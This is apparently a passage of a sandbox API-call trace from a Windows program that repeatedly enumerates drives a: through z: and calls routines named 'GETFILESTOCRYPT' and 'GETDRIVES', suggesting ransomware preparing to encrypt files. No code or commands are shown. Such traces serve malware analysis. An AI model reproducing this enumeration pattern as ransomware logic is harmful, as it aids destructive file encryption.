hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.157] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.157] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.158] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.158] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.158] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.158] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.158] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.158] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.158] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.158] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.158] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.158] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.158] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.158] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.158] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.158] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.158] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.159] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.159] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.159] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.159] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.159] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.159] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.159] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.159] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.159] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.160] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.160] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.163] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.163] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.163] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.163] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.163] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.163] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.163] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.163] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.163] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.164] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.164] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.164] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.164] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.164] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.164] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.165] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.165] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.165] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.165] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.165] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.165] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.165] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.165] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.166] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.166] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.166] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.166] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.166] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.166] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.166] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.166] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.166] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.166] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.166] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.166] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.167] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.167] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.167] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.167] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.167] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.167] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.167] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.167] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.168] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.168] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.168] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.168] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.168] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.168] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.168] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.168] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.168] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.169] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.169] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.169] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.169] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.169] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.169] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.169] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.169] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.169] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.169] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.170] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.170] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.170] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.170] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.170] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.170] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.170] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.170] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.170] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.170] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.171] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.171] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.171] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.171] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.171] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.171] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.171] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.171] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.172] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.172] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.172] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.172] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.172] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.172] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.172] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.172] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.172] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.173] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.173] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.173] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.173] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.173] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.174] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.174] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.174] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.174] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.174] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.174] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.174] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.174] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.174] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.174] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.174] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.174] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.175] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.175] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.175] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.175] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.175] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.175] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.175] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.175] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.175] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.176] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.176] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.176] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.176] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.176] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.176] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.176] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.176] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.177] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.177] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.177] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.177] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.177] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.177] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.177] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.177] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.178] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.178] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.178] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.178] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.178] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.178] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.178] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.178] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.178] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.178] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.178] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.178] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.178] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.178] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.178] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.179] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.179] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.179] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.179] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.179] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.179] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.179] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.179] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.179] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.179] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.180] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.180] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.180] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.180] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.180] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.180] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.181] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.181] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.181] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.181] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.181] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.181] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.181] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.181] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.181] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.182] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.182] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.182] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.182] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.182] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.182] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.182] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.182] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.182] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.182] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.182] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.182] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.183] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.183] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.183] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.183] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.183] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.183] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.183] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.183] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.183] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.183] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.183] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.183] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.183] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.183] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.183] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.184] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.184] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.184] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.184] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.184] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.184] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.184] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.184] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.184] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.185] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.185] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.185] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.185] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 